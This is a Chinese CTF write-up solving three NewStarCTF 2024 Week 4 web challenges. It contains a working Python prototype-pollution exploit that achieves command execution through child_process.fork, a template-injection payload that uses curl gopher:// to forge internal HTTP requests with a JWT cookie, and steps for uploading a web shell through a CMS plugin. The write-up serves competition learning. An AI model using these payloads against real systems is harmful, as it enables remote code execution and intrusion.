CTF | 2024 NewStarCTF Week4 WP


Web

ezcmsss

提示存在网站备份泄露,用 dirsearch 可以直接搜到存在 www.zip

容器的启动脚本中泄露了用户名和密码,登录。

同时 dirsearch 可以找到后台网址 /admin.php 。用刚才的凭证登录。

通过网络搜索 极致CMS 1.9.5 可以发现存在文件上传漏洞,[代码审计]极致CMS1.9.5存在文件上传漏洞_极致cms建站系统 漏洞-CSDN博客

但是容器不能访问公网,我们需要对 download_url 进行内网化。

发现编辑器存在文件上传功能且支持上传 .zip 文件,

用这个上传插件马即可,具体 Payload 见上面的文章。

ezpollute

指明了考点是原型链污染。发现典型的 merge 函数能够污染原型链,现在就是要找能 RCE 的地方了。

index.js 文件 L102 中调用了 child_process.fork 函数,而这个函数在原型链被污染的情况下可以成为我们的攻击点执行任意命令,具体见 (・ω< )★PP2RCE | 雲流のLowest World (c1oudfl0w0.github.io)

Exploit

import requests

session = requests.session()

host = "eci-2ze82w8y5tjdbsw8awzu.cloudeci1.ichunqiu.com:3000"
fileId = session.post(f"http://{host}/upload", files={"images": ("a.png", open("a.png", "rb"), "image/png")}).headers["Set-Cookie"].split(".")[0].split("=")[1]

model = {
    "constructor" : {
        "prototype": {
            "shell": "/proc/self/exe",
            "argv0": "console.log(require('child_process').execSync('cp /flag ./static/flag').toString())//",
            "NODE_OPTIONS": "--require /proc/self/cmdline",
        }
    }
}
print(session.post(f"http://{host}/config", json=model).text)
print(session.post(f"http://{host}/process").text)
print(session.get(f"http://{host}/flag").text)

PangBai 过家家(4)

看看 main.go,思路还是明了的。

最难的点是如何利用限制的 curl 来正确访问到 /favorite 接口。

因为加上了 -- 标识,根据 POSIX 标准你不能再次传入任何参数,只能传入一个 URL 。因此默认只能够使用 GET 方法请求接口,吗?

搜索可以得到 curl 支持 gopher:// 协议,这个协议可以当作 Raw TCP 使用,使得我们可以模拟 HTTP 请求。具体操作自行百度。

最终的 Payload 如下:

/eye?input={{ .Curl "gopher://127.0.0.1:8000/_PUT%2520/favorite%2520HTTP/1.1%250d%250aHost:%2520127.0.0.1:8000%250d%250aContent-Length:18%250d%250aCookie:%2520token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MjkwMTI2ODIsInVzZXIiOiJQYXBhIn0.WeDWo7ZGVYciT7mTTz3TCv7m4mA3c2YoJc8V4e94E0I%250d%250a%250d%250a/proc/self/environ" }}

一些解释:

  • 如果直接传入 %20 、空格 \r\n%0d%0a 可能会出现一些奇怪的错误,所以我们将 URLEncoded 中的 % 转义为 %25 避免这些错误。
  • Cookie 值通过 /eye?input={{ .Config.JwtKey }} 修改 JWT Payload 中的 name 得到。

最后浏览器访问 /favorite 即可得到 Flag。


发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注